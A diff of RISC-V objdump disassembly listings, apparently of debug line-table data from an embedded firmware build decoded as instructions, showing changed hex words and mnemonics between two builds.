+    198c:	0405                	addi	s0,s0,1
+    198e:	0306                	slli	t1,t1,0x1
+    1990:	0966                	slli	s2,s2,0x19
+    1992:	0004                	0x4
+    1994:	0501                	addi	a0,a0,0
+    1996:	00030607          	0x30607
+    199a:	0009                	c.nop	2
+    199c:	0100                	addi	s0,sp,128
+    199e:	0605                	addi	a2,a2,1
+    19a0:	1c090003          	lb	zero,448(s2)
+    19a4:	0100                	addi	s0,sp,128
+    19a6:	0505                	addi	a0,a0,1
+    19a8:	0306                	slli	t1,t1,0x1
+    19aa:	0901                	addi	s2,s2,0
+    19ac:	0002                	c.slli64	zero
+    19ae:	0301                	addi	t1,t1,0
+    19b0:	0901                	addi	s2,s2,0
+    19b2:	0000                	unimp
+    19b4:	0501                	addi	a0,a0,0
+    19b6:	065e                	slli	a2,a2,0x17
+    19b8:	00090003          	lb	zero,0(s2)
+    19bc:	0100                	addi	s0,sp,128
+    19be:	4105                	li	sp,1
+    19c0:	0c090003          	lb	zero,192(s2)
+    19c4:	0100                	addi	s0,sp,128
+    19c6:	0505                	addi	a0,a0,1
+    19c8:	04090003          	lb	zero,64(s2)
+    19cc:	0100                	addi	s0,sp,128
+    19ce:	0306                	slli	t1,t1,0x1
+    19d0:	0901                	addi	s2,s2,0
+    19d2:	0010                	0x10
+    19d4:	0501                	addi	a0,a0,0
+    19d6:	060a                	slli	a2,a2,0x2
+    19d8:	00090003          	lb	zero,0(s2)
+    19dc:	0100                	addi	s0,sp,128
+    19de:	0505                	addi	a0,a0,1
+    19e0:	0306                	slli	t1,t1,0x1
+    19e2:	0901                	addi	s2,s2,0
+    19e4:	0008                	0x8
+    19e6:	0301                	addi	t1,t1,0
+    19e8:	0901                	addi	s2,s2,0
+    19ea:	000a                	c.slli	zero,0x2
+    19ec:	0501                	addi	a0,a0,0
+    19ee:	0601                	addi	a2,a2,0
+    19f0:	00091b03          	lh	s6,0(s2)
     19f4:	0100                	addi	s0,sp,128
-    19f6:	00090003          	lb	zero,0(s2)
-    19fa:	0100                	addi	s0,sp,128
-    19fc:	00090003          	lb	zero,0(s2)
-    1a00:	0100                	addi	s0,sp,128
-    1a02:	00090003          	lb	zero,0(s2)
+    19f6:	0505                	addi	a0,a0,1
+    19f8:	0306                	slli	t1,t1,0x1
+    19fa:	096a                	slli	s2,s2,0x1a
+    19fc:	0014                	0x14
+    19fe:	0501                	addi	a0,a0,0
+    1a00:	00030627          	0x30627
+    1a04:	0009                	c.nop	2
     1a06:	0100                	addi	s0,sp,128
-    1a08:	0c090003          	lb	zero,192(s2)
-    1a0c:	0100                	addi	s0,sp,128
-    1a0e:	02090003          	lb	zero,32(s2)
-    1a12:	0100                	addi	s0,sp,128
-    1a14:	02090003          	lb	zero,32(s2)
-    1a18:	0100                	addi	s0,sp,128
-    1a1a:	02090003          	lb	zero,32(s2)
-    1a1e:	0100                	addi	s0,sp,128
-    1a20:	02090003          	lb	zero,32(s2)
-    1a24:	0100                	addi	s0,sp,128
-    1a26:	0705                	addi	a4,a4,1
-    1a28:	0306                	slli	t1,t1,0x1
-    1a2a:	0900                	addi	s0,sp,144
-    1a2c:	0000                	unimp
-    1a2e:	0501                	addi	a0,a0,0
-    1a30:	0605                	addi	a2,a2,1
-    1a32:	02090103          	lb	sp,32(s2)
+    1a08:	1705                	addi	a4,a4,-31
+    1a0a:	04090003          	lb	zero,64(s2)
+    1a0e:	0100                	addi	s0,sp,128
+    1a10:	0505                	addi	a0,a0,1
+    1a12:	0c090003          	lb	zero,192(s2)
+    1a16:	0100                	addi	s0,sp,128
+    1a18:	0306                	slli	t1,t1,0x1
+    1a1a:	0901                	addi	s2,s2,0
+    1a1c:	000a                	c.slli	zero,0x2
+    1a1e:	0501                	addi	a0,a0,0
+    1a20:	00030623          	sb	zero,12(t1) # ffff900c <_heap_end+0x7ffea80c>
+    1a24:	0009                	c.nop	2
+    1a26:	0100                	addi	s0,sp,128
+    1a28:	2805                	jal	1a58 <__stack_size+0x1258>
+    1a2a:	04090103          	lb	sp,64(s2)
+    1a2e:	0100                	addi	s0,sp,128
+    1a30:	2305                	jal	1f50 <__stack_size+0x1750>
+    1a32:	0a097f03          	0xa097f03
     1a36:	0100                	addi	s0,sp,128
-    1a38:	10090203          	lb	tp,256(s2)
-    1a3c:	0100                	addi	s0,sp,128
-    1a3e:	0a05                	addi	s4,s4,1
-    1a40:	0a090103          	lb	sp,160(s2)
-    1a44:	0100                	addi	s0,sp,128
-    1a46:	0905                	addi	s2,s2,1
-    1a48:	0a090303          	lb	t1,160(s2)
-    1a4c:	0100                	addi	s0,sp,128
-    1a4e:	0d05                	addi	s10,s10,1
-    1a50:	0306                	slli	t1,t1,0x1
-    1a52:	0900                	addi	s0,sp,144
-    1a54:	0000                	unimp
-    1a56:	0501                	addi	a0,a0,0
-    1a58:	030c                	addi	a1,sp,384
-    1a5a:	0900                	addi	s0,sp,144
-    1a5c:	000e                	c.slli	zero,0x3
-    1a5e:	0501                	addi	a0,a0,0
-    1a60:	02030603          	lb	a2,32(t1)
-    1a64:	0209                	addi	tp,tp,2
-    1a66:	0100                	addi	s0,sp,128
-    1a68:	1c05                	addi	s8,s8,-31
-    1a6a:	00090003          	lb	zero,0(s2)
-    1a6e:	0100                	addi	s0,sp,128
-    1a70:	00090003          	lb	zero,0(s2)
-    1a74:	0100                	addi	s0,sp,128
-    1a76:	0a090003          	lb	zero,160(s2)
-    1a7a:	0100                	addi	s0,sp,128
-    1a7c:	0305                	addi	t1,t1,1
-    1a7e:	02090103          	lb	sp,32(s2)
-    1a82:	0100                	addi	s0,sp,128
-    1a84:	1005                	c.nop	-31
-    1a86:	06090003          	lb	zero,96(s2)
-    1a8a:	0100                	addi	s0,sp,128
-    1a8c:	0305                	addi	t1,t1,1
-    1a8e:	00090103          	lb	sp,0(s2)
+    1a38:	0505                	addi	a0,a0,1
+    1a3a:	0306                	slli	t1,t1,0x1
+    1a3c:	0901                	addi	s2,s2,0
+    1a3e:	0002                	c.slli64	zero
+    1a40:	0501                	addi	a0,a0,0
+    1a42:	0641                	addi	a2,a2,16
+    1a44:	00090003          	lb	zero,0(s2)
+    1a48:	0100                	addi	s0,sp,128
+    1a4a:	0805                	addi	a6,a6,1
+    1a4c:	04090003          	lb	zero,64(s2)
+    1a50:	0100                	addi	s0,sp,128
+    1a52:	2305                	jal	1f72 <__stack_size+0x1772>
+    1a54:	04097f03          	0x4097f03
+    1a58:	0100                	addi	s0,sp,128
+    1a5a:	0505                	addi	a0,a0,1
+    1a5c:	0306                	slli	t1,t1,0x1
+    1a5e:	0904                	addi	s1,sp,144
+    1a60:	0004                	0x4
+    1a62:	0501                	addi	a0,a0,0
+    1a64:	060a                	slli	a2,a2,0x2
+    1a66:	00090003          	lb	zero,0(s2)
+    1a6a:	0100                	addi	s0,sp,128
+    1a6c:	0805                	addi	a6,a6,1
+    1a6e:	08090003          	lb	zero,128(s2)
+    1a72:	0100                	addi	s0,sp,128
+    1a74:	0605                	addi	a2,a2,1
+    1a76:	0306                	slli	t1,t1,0x1
+    1a78:	0902                	c.slli64	s2
+    1a7a:	0006                	c.slli	zero,0x1
+    1a7c:	0501                	addi	a0,a0,0
+    1a7e:	09010307          	0x9010307
+    1a82:	0010                	0x10
+    1a84:	0301                	addi	t1,t1,0
+    1a86:	0901                	addi	s2,s2,0
+    1a88:	000e                	c.slli	zero,0x3
+    1a8a:	0501                	addi	a0,a0,0
+    1a8c:	0003060b          	0x3060b
+    1a90:	0009                	c.nop	2
     1a92:	0100                	addi	s0,sp,128
-    1a94:	1c05                	addi	s8,s8,-31
-    1a96:	00090003          	lb	zero,0(s2)
+    1a94:	0a05                	addi	s4,s4,1
+    1a96:	08090003          	lb	zero,128(s2)
     1a9a:	0100                	addi	s0,sp,128
-    1a9c:	00090003          	lb	zero,0(s2)
-    1aa0:	0100                	addi	s0,sp,128
-    1aa2:	08090003          	lb	zero,128(s2)
-    1aa6:	0100                	addi	s0,sp,128
-    1aa8:	0305                	addi	t1,t1,1
-    1aaa:	00090103          	lb	sp,0(s2)
-    1aae:	0100                	addi	s0,sp,128
-    1ab0:	1705                	addi	a4,a4,-31
+    1a9c:	3805                	jal	12cc <__stack_size+0xacc>
+    1a9e:	0200                	addi	s0,sp,256
+    1aa0:	0104                	addi	s1,sp,128
+    1aa2:	0306                	slli	t1,t1,0x1
+    1aa4:	0900                	addi	s0,sp,144
+    1aa6:	0002                	c.slli64	zero
+    1aa8:	0501                	addi	a0,a0,0
+    1aaa:	09010307          	0x9010307
+    1aae:	000a                	c.slli	zero,0x2
+    1ab0:	0501                	addi	a0,a0,0
     1ab2:	0306                	slli	t1,t1,0x1
-    1ab4:	0900                	addi	s0,sp,144
-    1ab6:	0000                	unimp
+    1ab4:	0901                	addi	s2,s2,0
+    1ab6:	000c                	0xc
     1ab8:	0501                	addi	a0,a0,0
-    1aba:	01030603          	lb	a2,16(t1)
-    1abe:	0409                	addi	s0,s0,2
+    1aba:	02030623          	sb	zero,44(t1)
+    1abe:	0c09                	addi	s8,s8,2
     1ac0:	0100                	addi	s0,sp,128
-    1ac2:	1205                	addi	tp,tp,-31
-    1ac4:	0306                	slli	t1,t1,0x1
-    1ac6:	0900                	addi	s0,sp,144
-    1ac8:	0000                	unimp
-    1aca:	0501                	addi	a0,a0,0
-    1acc:	01030603          	lb	a2,16(t1)
-    1ad0:	0409                	addi	s0,s0,2
-    1ad2:	0100                	addi	s0,sp,128
-    1ad4:	0905                	addi	s2,s2,1
-    1ad6:	16090303          	lb	t1,352(s2)
-    1ada:	0100                	addi	s0,sp,128
-    1adc:	0d05                	addi	s10,s10,1
-    1ade:	0306                	slli	t1,t1,0x1
-    1ae0:	0900                	addi	s0,sp,144
-    1ae2:	0000                	unimp
-    1ae4:	0501                	addi	a0,a0,0
-    1ae6:	030c                	addi	a1,sp,384
-    1ae8:	0900                	addi	s0,sp,144
-    1aea:	000e                	c.slli	zero,0x3
-    1aec:	0501                	addi	a0,a0,0
-    1aee:	02030603          	lb	a2,32(t1)
-    1af2:	0209                	addi	tp,tp,2
-    1af4:	0100                	addi	s0,sp,128
-    1af6:	0605                	addi	a2,a2,1
-    1af8:	0306                	slli	t1,t1,0x1
-    1afa:	0900                	addi	s0,sp,144
-    1afc:	0000                	unimp
+    1ac2:	0605                	addi	a2,a2,1
+    1ac4:	02097e03          	0x2097e03
+    1ac8:	0100                	addi	s0,sp,128
+    1aca:	0306                	slli	t1,t1,0x1
+    1acc:	0902                	c.slli64	s2
+    1ace:	0004                	0x4
+    1ad0:	0501                	addi	a0,a0,0
+    1ad2:	00030623          	sb	zero,12(t1)
+    1ad6:	0009                	c.nop	2
+    1ad8:	0100                	addi	s0,sp,128
+    1ada:	0605                	addi	a2,a2,1
+    1adc:	0306                	slli	t1,t1,0x1
+    1ade:	0976                	slli	s2,s2,0x1d
+    1ae0:	0006                	c.slli	zero,0x1
+    1ae2:	0501                	addi	a0,a0,0
+    1ae4:	00030623          	sb	zero,12(t1)
+    1ae8:	0009                	c.nop	2
+    1aea:	0100                	addi	s0,sp,128
+    1aec:	0609                	addi	a2,a2,2
+    1aee:	0000                	unimp
+    1af0:	0101                	addi	sp,sp,0
+    1af2:	0105                	addi	sp,sp,1
+    1af4:	0500                	addi	s0,sp,640
+    1af6:	0002                	c.slli64	zero
+    1af8:	0000                	unimp
+    1afa:	0300                	addi	s0,sp,384
+    1afc:	00fa                	slli	ra,ra,0x1e
     1afe:	0501                	addi	a0,a0,0
-    1b00:	0604                	addi	s1,sp,768
-    1b02:	02090103          	lb	sp,32(s2)
-    1b06:	0100                	addi	s0,sp,128
-    1b08:	1c05                	addi	s8,s8,-31
-    1b0a:	0306                	slli	t1,t1,0x1
-    1b0c:	0900                	addi	s0,sp,144
-    1b0e:	0000                	unimp
-    1b10:	0501                	addi	a0,a0,0
-    1b12:	0318                	addi	a4,sp,384
-    1b14:	0900                	addi	s0,sp,144
-    1b16:	000a                	c.slli	zero,0x2
-    1b18:	0501                	addi	a0,a0,0
-    1b1a:	0604                	addi	s1,sp,768
-    1b1c:	06090103          	lb	sp,96(s2)
-    1b20:	0100                	addi	s0,sp,128
-    1b22:	1805                	addi	a6,a6,-31
-    1b24:	00090003          	lb	zero,0(s2)
-    1b28:	0100                	addi	s0,sp,128
-    1b2a:	00090003          	lb	zero,0(s2)
-    1b2e:	0100                	addi	s0,sp,128
-    1b30:	06090003          	lb	zero,96(s2)
+    1b00:	0302                	c.slli64	t1
+    1b02:	0901                	addi	s2,s2,0
+    1b04:	0000                	unimp
+    1b06:	0301                	addi	t1,t1,0
+    1b08:	0901                	addi	s2,s2,0
+    1b0a:	0000                	unimp
+    1b0c:	0501                	addi	a0,a0,0
+    1b0e:	0601                	addi	a2,a2,0
+    1b10:	00097e03          	0x97e03
+    1b14:	0100                	addi	s0,sp,128
+    1b16:	0205                	addi	tp,tp,1
+    1b18:	00090203          	lb	tp,0(s2)
+    1b1c:	0100                	addi	s0,sp,128
+    1b1e:	0105                	addi	sp,sp,1
+    1b20:	00097e03          	0x97e03
+    1b24:	0100                	addi	s0,sp,128
+    1b26:	0205                	addi	tp,tp,1
+    1b28:	00090203          	lb	tp,0(s2)
+    1b2c:	0100                	addi	s0,sp,128
+    1b2e:	0105                	addi	sp,sp,1
+    1b30:	00097e03          	0x97e03
     1b34:	0100                	addi	s0,sp,128
-    1b36:	1f05                	addi	t5,t5,-31
-    1b38:	0306                	slli	t1,t1,0x1
-    1b3a:	0901                	addi	s2,s2,0
-    1b3c:	0000                	unimp
-    1b3e:	0501                	addi	a0,a0,0
-    1b40:	0318                	addi	a4,sp,384
-    1b42:	097f                	0x97f
-    1b44:	0006                	c.slli	zero,0x1
-    1b46:	0501                	addi	a0,a0,0
-    1b48:	0604                	addi	s1,sp,768
-    1b4a:	04090103          	lb	sp,64(s2)
-    1b4e:	0100                	addi	s0,sp,128
-    1b50:	1f05                	addi	t5,t5,-31
-    1b52:	0306                	slli	t1,t1,0x1
+    1b36:	0205                	addi	tp,tp,1
+    1b38:	00090203          	lb	tp,0(s2)
+    1b3c:	0100                	addi	s0,sp,128
+    1b3e:	0306                	slli	t1,t1,0x1
+    1b40:	0901                	addi	s2,s2,0
+    1b42:	0000                	unimp
+    1b44:	0501                	addi	a0,a0,0
+    1b46:	0306                	slli	t1,t1,0x1
+    1b48:	0900                	addi	s0,sp,144
+    1b4a:	0000                	unimp
+    1b4c:	0301                	addi	t1,t1,0
+    1b4e:	0900                	addi	s0,sp,144
+    1b50:	0000                	unimp
+    1b52:	0301                	addi	t1,t1,0
     1b54:	0900                	addi	s0,sp,144
     1b56:	0000                	unimp
-    1b58:	0501                	addi	a0,a0,0
-    1b5a:	0328                	addi	a0,sp,392
-    1b5c:	0900                	addi	s0,sp,144
-    1b5e:	0004                	0x4
-    1b60:	0501                	addi	a0,a0,0
-    1b62:	09000313          	li	t1,144
-    1b66:	000e                	c.slli	zero,0x3
-    1b68:	0501                	addi	a0,a0,0
-    1b6a:	0604                	addi	s1,sp,768
-    1b6c:	0c090103          	lb	sp,192(s2)
-    1b70:	0100                	addi	s0,sp,128
-    1b72:	1705                	addi	a4,a4,-31
-    1b74:	0a090003          	lb	zero,160(s2)
-    1b78:	0100                	addi	s0,sp,128
-    1b7a:	0405                	addi	s0,s0,1
-    1b7c:	00090103          	lb	sp,0(s2)
-    1b80:	0100                	addi	s0,sp,128
-    1b82:	2105                	jal	1fa2 <__stack_size+0x17a2>
-    1b84:	0306                	slli	t1,t1,0x1
-    1b86:	0901                	addi	s2,s2,0
-    1b88:	0000                	unimp
-    1b8a:	0501                	addi	a0,a0,0
-    1b8c:	0326                	slli	t1,t1,0x9
-    1b8e:	0900                	addi	s0,sp,144
-    1b90:	0008                	0x8
-    1b92:	0501                	addi	a0,a0,0
-    1b94:	0321                	addi	t1,t1,8
-    1b96:	0900                	addi	s0,sp,144
-    1b98:	0008                	0x8
-    1b9a:	0501                	addi	a0,a0,0
-    1b9c:	0326                	slli	t1,t1,0x9
-    1b9e:	0900                	addi	s0,sp,144
-    1ba0:	0004                	0x4
-    1ba2:	0501                	addi	a0,a0,0
-    1ba4:	033c                	addi	a5,sp,392
-    1ba6:	097f                	0x97f
-    1ba8:	0008                	0x8
+    1b58:	0301                	addi	t1,t1,0
+    1b5a:	0900                	addi	s0,sp,144
+    1b5c:	0000                	unimp
+    1b5e:	0301                	addi	t1,t1,0
+    1b60:	0900                	addi	s0,sp,144
+    1b62:	0000                	unimp
+    1b64:	0301                	addi	t1,t1,0
+    1b66:	0900                	addi	s0,sp,144
+    1b68:	0000                	unimp
+    1b6a:	0301                	addi	t1,t1,0
+    1b6c:	0900                	addi	s0,sp,144
+    1b6e:	0000                	unimp
+    1b70:	0301                	addi	t1,t1,0
+    1b72:	0900                	addi	s0,sp,144
+    1b74:	0000                	unimp
+    1b76:	0301                	addi	t1,t1,0
+    1b78:	0900                	addi	s0,sp,144
+    1b7a:	0000                	unimp
+    1b7c:	0301                	addi	t1,t1,0
+    1b7e:	0900                	addi	s0,sp,144
+    1b80:	0000                	unimp
+    1b82:	0301                	addi	t1,t1,0
+    1b84:	0900                	addi	s0,sp,144
+    1b86:	0000                	unimp
+    1b88:	0501                	addi	a0,a0,0
+    1b8a:	0605                	addi	a2,a2,1
+    1b8c:	00090003          	lb	zero,0(s2)
+    1b90:	0100                	addi	s0,sp,128
+    1b92:	0a05                	addi	s4,s4,1
+    1b94:	00090b03          	lb	s6,0(s2)
+    1b98:	0100                	addi	s0,sp,128
+    1b9a:	0105                	addi	sp,sp,1
+    1b9c:	00090203          	lb	tp,0(s2)
+    1ba0:	0100                	addi	s0,sp,128
+    1ba2:	0305                	addi	t1,t1,1
+    1ba4:	0306                	slli	t1,t1,0x1
+    1ba6:	0974                	addi	a3,sp,156
+    1ba8:	0000                	unimp
     1baa:	0501                	addi	a0,a0,0
-    1bac:	0326                	slli	t1,t1,0x9
-    1bae:	0901                	addi	s2,s2,0
-    1bb0:	0004                	0x4
-    1bb2:	0501                	addi	a0,a0,0
-    1bb4:	0341                	addi	t1,t1,16
-    1bb6:	097f                	0x97f
-    1bb8:	0002                	c.slli64	zero
-    1bba:	0501                	addi	a0,a0,0
-    1bbc:	033c                	addi	a5,sp,392
-    1bbe:	0900                	addi	s0,sp,144
-    1bc0:	0008                	0x8
-    1bc2:	0501                	addi	a0,a0,0
-    1bc4:	0341                	addi	t1,t1,16
-    1bc6:	0900                	addi	s0,sp,144
-    1bc8:	0004                	0x4
+    1bac:	0606                	slli	a2,a2,0x1
+    1bae:	00090003          	lb	zero,0(s2)
+    1bb2:	0100                	addi	s0,sp,128
+    1bb4:	0505                	addi	a0,a0,1
+    1bb6:	00090003          	lb	zero,0(s2)
+    1bba:	0100                	addi	s0,sp,128
+    1bbc:	0405                	addi	s0,s0,1
+    1bbe:	0306                	slli	t1,t1,0x1
+    1bc0:	0901                	addi	s2,s2,0
+    1bc2:	0000                	unimp
+    1bc4:	0301                	addi	t1,t1,0
+    1bc6:	0902                	c.slli64	s2
+    1bc8:	0000                	unimp
     1bca:	0501                	addi	a0,a0,0
-    1bcc:	0304                	addi	s1,sp,384
-    1bce:	0900                	addi	s0,sp,144
-    1bd0:	000a                	c.slli	zero,0x2
-    1bd2:	0601                	addi	a2,a2,0
-    1bd4:	0e090203          	lb	tp,224(s2)
-    1bd8:	0100                	addi	s0,sp,128
-    1bda:	00090003          	lb	zero,0(s2)
-    1bde:	0100                	addi	s0,sp,128
-    1be0:	00090003          	lb	zero,0(s2)
+    1bcc:	0609                	addi	a2,a2,2
+    1bce:	00090003          	lb	zero,0(s2)
+    1bd2:	0100                	addi	s0,sp,128
+    1bd4:	0405                	addi	s0,s0,1
+    1bd6:	0306                	slli	t1,t1,0x1
+    1bd8:	0902                	c.slli64	s2
+    1bda:	0000                	unimp
+    1bdc:	0501                	addi	a0,a0,0
+    1bde:	0003060b          	0x3060b
+    1be2:	0009                	c.nop	2
     1be4:	0100                	addi	s0,sp,128
-    1be6:	00090003          	lb	zero,0(s2)
-    1bea:	0100                	addi	s0,sp,128
-    1bec:	08090003          	lb	zero,128(s2)
-    1bf0:	0100                	addi	s0,sp,128
-    1bf2:	0a05                	addi	s4,s4,1
-    1bf4:	02090103          	lb	sp,32(s2)
-    1bf8:	0100                	addi	s0,sp,128
-    1bfa:	0905                	addi	s2,s2,1
-    1bfc:	0a090303          	lb	t1,160(s2)
-    1c00:	0100                	addi	s0,sp,128
-    1c02:	0d05                	addi	s10,s10,1
-    1c04:	0306                	slli	t1,t1,0x1
-    1c06:	0900                	addi	s0,sp,144
-    1c08:	0000                	unimp
-    1c0a:	0501                	addi	a0,a0,0
-    1c0c:	030c                	addi	a1,sp,384
-    1c0e:	0900                	addi	s0,sp,144
-    1c10:	000e                	c.slli	zero,0x3
-    1c12:	0501                	addi	a0,a0,0
-    1c14:	0028                	addi	a0,sp,8
-    1c16:	0402                	c.slli64	s0
-    1c18:	0601                	addi	a2,a2,0
-    1c1a:	02090003          	lb	zero,32(s2)
-    1c1e:	0100                	addi	s0,sp,128
-    1c20:	0105                	addi	sp,sp,1
-    1c22:	0200                	addi	s0,sp,256
-    1c24:	0104                	addi	s1,sp,128
-    1c26:	0306                	slli	t1,t1,0x1
-    1c28:	091d                	addi	s2,s2,7
-    1c2a:	0000                	unimp
-    1c2c:	0501                	addi	a0,a0,0
-    1c2e:	0028                	addi	a0,sp,8
-    1c30:	0402                	c.slli64	s0
-    1c32:	0301                	addi	t1,t1,0
-    1c34:	000c0963          	beqz	s8,1c46 <__stack_size+0x1446>
-    1c38:	0501                	addi	a0,a0,0
-    1c3a:	04030607          	0x4030607
-    1c3e:	0409                	addi	s0,s0,2
-    1c40:	0100                	addi	s0,sp,128
-    1c42:	0b05                	addi	s6,s6,1
-    1c44:	0306                	slli	t1,t1,0x1
-    1c46:	0900                	addi	s0,sp,144
-    1c48:	0000                	unimp
-    1c4a:	0501                	addi	a0,a0,0
-    1c4c:	030a                	slli	t1,t1,0x2
-    1c4e:	0900                	addi	s0,sp,144
-    1c50:	000e                	c.slli	zero,0x3
-    1c52:	0501                	addi	a0,a0,0
-    1c54:	0028                	addi	a0,sp,8
-    1c56:	0402                	c.slli64	s0
-    1c58:	0601                	addi	a2,a2,0
-    1c5a:	02090003          	lb	zero,32(s2)
-    1c5e:	0100                	addi	s0,sp,128
-    1c60:	0705                	addi	a4,a4,1
-    1c62:	06090403          	lb	s0,96(s2)
-    1c66:	0100                	addi	s0,sp,128
-    1c68:	0b05                	addi	s6,s6,1
-    1c6a:	0306                	slli	t1,t1,0x1
-    1c6c:	0900                	addi	s0,sp,144
-    1c6e:	0000                	unimp
-    1c70:	0501                	addi	a0,a0,0
-    1c72:	030a                	slli	t1,t1,0x2
-    1c74:	0900                	addi	s0,sp,144
-    1c76:	000e                	c.slli	zero,0x3
+    1be6:	0009                	c.nop	2
+    1be8:	0000                	unimp
+    1bea:	0101                	addi	sp,sp,0
+    1bec:	0105                	addi	sp,sp,1
+    1bee:	0500                	addi	s0,sp,640
+    1bf0:	4602                	lw	a2,0(sp)
+    1bf2:	4020                	lw	s0,64(s0)
+    1bf4:	0320                	addi	s0,sp,392
+    1bf6:	018d                	addi	gp,gp,3
+    1bf8:	0501                	addi	a0,a0,0
+    1bfa:	0302                	c.slli64	t1
+    1bfc:	0901                	addi	s2,s2,0
+    1bfe:	0000                	unimp
+    1c00:	0301                	addi	t1,t1,0
+    1c02:	0902                	c.slli64	s2
+    1c04:	0000                	unimp
+    1c06:	0501                	addi	a0,a0,0
+    1c08:	0601                	addi	a2,a2,0
+    1c0a:	00097d03          	0x97d03
+    1c0e:	0100                	addi	s0,sp,128
+    1c10:	0b05                	addi	s6,s6,1
+    1c12:	08090303          	lb	t1,128(s2)
+    1c16:	0100                	addi	s0,sp,128
+    1c18:	0205                	addi	tp,tp,1
+    1c1a:	0306                	slli	t1,t1,0x1
+    1c1c:	0902                	c.slli64	s2
+    1c1e:	0004                	0x4
+    1c20:	0501                	addi	a0,a0,0
+    1c22:	0611                	addi	a2,a2,4
+    1c24:	00090003          	lb	zero,0(s2)
+    1c28:	0100                	addi	s0,sp,128
+    1c2a:	0105                	addi	sp,sp,1
+    1c2c:	08097b03          	0x8097b03
+    1c30:	0100                	addi	s0,sp,128
+    1c32:	12090003          	lb	zero,288(s2)
+    1c36:	0100                	addi	s0,sp,128
+    1c38:	1105                	addi	sp,sp,-31
+    1c3a:	04090503          	lb	a0,64(s2)
+    1c3e:	0100                	addi	s0,sp,128
+    1c40:	0b05                	addi	s6,s6,1
+    1c42:	02090003          	lb	zero,32(s2)
+    1c46:	0100                	addi	s0,sp,128
+    1c48:	0405                	addi	s0,s0,1
+    1c4a:	04090203          	lb	tp,64(s2)
+    1c4e:	0100                	addi	s0,sp,128
+    1c50:	0b05                	addi	s6,s6,1
+    1c52:	02097e03          	0x2097e03
+    1c56:	0100                	addi	s0,sp,128
+    1c58:	0205                	addi	tp,tp,1
+    1c5a:	0306                	slli	t1,t1,0x1
+    1c5c:	0902                	c.slli64	s2
+    1c5e:	000a                	c.slli	zero,0x2
+    1c60:	0501                	addi	a0,a0,0
+    1c62:	0604                	addi	s1,sp,768
+    1c64:	00090003          	lb	zero,0(s2)
+    1c68:	0100                	addi	s0,sp,128
+    1c6a:	0305                	addi	t1,t1,1
+    1c6c:	0306                	slli	t1,t1,0x1
+    1c6e:	0901                	addi	s2,s2,0
+    1c70:	0004                	0x4
+    1c72:	0301                	addi	t1,t1,0
+    1c74:	0901                	addi	s2,s2,0
+    1c76:	000a                	c.slli	zero,0x2
     1c78:	0501                	addi	a0,a0,0
-    1c7a:	0024                	addi	s1,sp,8
-    1c7c:	0402                	c.slli64	s0
-    1c7e:	0601                	addi	a2,a2,0
-    1c80:	02090003          	lb	zero,32(s2)
-    1c84:	0100                	addi	s0,sp,128
-    1c86:	0105                	addi	sp,sp,1
-    1c88:	0200                	addi	s0,sp,256
-    1c8a:	0104                	addi	s1,sp,128
-    1c8c:	0306                	slli	t1,t1,0x1
-    1c8e:	0915                	addi	s2,s2,5
-    1c90:	0000                	unimp
-    1c92:	0501                	addi	a0,a0,0
-    1c94:	0024                	addi	s1,sp,8
-    1c96:	0402                	c.slli64	s0
-    1c98:	0301                	addi	t1,t1,0
-    1c9a:	000c096b          	0xc096b
-    1c9e:	0501                	addi	a0,a0,0
-    1ca0:	04030607          	0x4030607
-    1ca4:	0209                	addi	tp,tp,2
-    1ca6:	0100                	addi	s0,sp,128
-    1ca8:	0b05                	addi	s6,s6,1
-    1caa:	0306                	slli	t1,t1,0x1
-    1cac:	0900                	addi	s0,sp,144
-    1cae:	0000                	unimp
-    1cb0:	0501                	addi	a0,a0,0
-    1cb2:	030a                	slli	t1,t1,0x2
-    1cb4:	0900                	addi	s0,sp,144
-    1cb6:	000e                	c.slli	zero,0x3
-    1cb8:	0501                	addi	a0,a0,0
-    1cba:	0026                	c.slli	zero,0x9
-    1cbc:	0402                	c.slli64	s0
-    1cbe:	0601                	addi	a2,a2,0
-    1cc0:	02090003          	lb	zero,32(s2)
-    1cc4:	0100                	addi	s0,sp,128
-    1cc6:	0705                	addi	a4,a4,1
-    1cc8:	06090403          	lb	s0,96(s2)
-    1ccc:	0100                	addi	s0,sp,128
-    1cce:	0b05                	addi	s6,s6,1
-    1cd0:	0306                	slli	t1,t1,0x1
-    1cd2:	0900                	addi	s0,sp,144
-    1cd4:	0000                	unimp
-    1cd6:	0501                	addi	a0,a0,0
-    1cd8:	030a                	slli	t1,t1,0x2
-    1cda:	0900                	addi	s0,sp,144
-    1cdc:	000e                	c.slli	zero,0x3
-    1cde:	0501                	addi	a0,a0,0
-    1ce0:	02030603          	lb	a2,32(t1)
-    1ce4:	0209                	addi	tp,tp,2
-    1ce6:	0100                	addi	s0,sp,128
-    1ce8:	00090103          	lb	sp,0(s2)
-    1cec:	0100                	addi	s0,sp,128
-    1cee:	1605                	addi	a2,a2,-31
-    1cf0:	00090003          	lb	zero,0(s2)
-    1cf4:	0100                	addi	s0,sp,128
-    1cf6:	00090003          	lb	zero,0(s2)
+    1c7a:	0609                	addi	a2,a2,2
+    1c7c:	00090003          	lb	zero,0(s2)
+    1c80:	0100                	addi	s0,sp,128
+    1c82:	0305                	addi	t1,t1,1
+    1c84:	0306                	slli	t1,t1,0x1
+    1c86:	0901                	addi	s2,s2,0
+    1c88:	0008                	0x8
+    1c8a:	0501                	addi	a0,a0,0
+    1c8c:	0302                	c.slli64	t1
+    1c8e:	0902                	c.slli64	s2
+    1c90:	000a                	c.slli	zero,0x2
+    1c92:	0301                	addi	t1,t1,0
+    1c94:	0908                	addi	a0,sp,144
+    1c96:	0000                	unimp
+    1c98:	0501                	addi	a0,a0,0
+    1c9a:	09010303          	lb	t1,144(sp)
+    1c9e:	0000                	unimp
+    1ca0:	0301                	addi	t1,t1,0
+    1ca2:	0901                	addi	s2,s2,0
+    1ca4:	000a                	c.slli	zero,0x2
+    1ca6:	0301                	addi	t1,t1,0
+    1ca8:	0901                	addi	s2,s2,0
+    1caa:	0000                	unimp
+    1cac:	0301                	addi	t1,t1,0
+    1cae:	0901                	addi	s2,s2,0
+    1cb0:	000a                	c.slli	zero,0x2
+    1cb2:	0501                	addi	a0,a0,0
+    1cb4:	060a                	slli	a2,a2,0x2
+    1cb6:	00090003          	lb	zero,0(s2)
+    1cba:	0100                	addi	s0,sp,128
+    1cbc:	0305                	addi	t1,t1,1
+    1cbe:	04090103          	lb	sp,64(s2)
+    1cc2:	0100                	addi	s0,sp,128
+    1cc4:	0a05                	addi	s4,s4,1
+    1cc6:	08097f03          	0x8097f03
+    1cca:	0100                	addi	s0,sp,128
+    1ccc:	0305                	addi	t1,t1,1
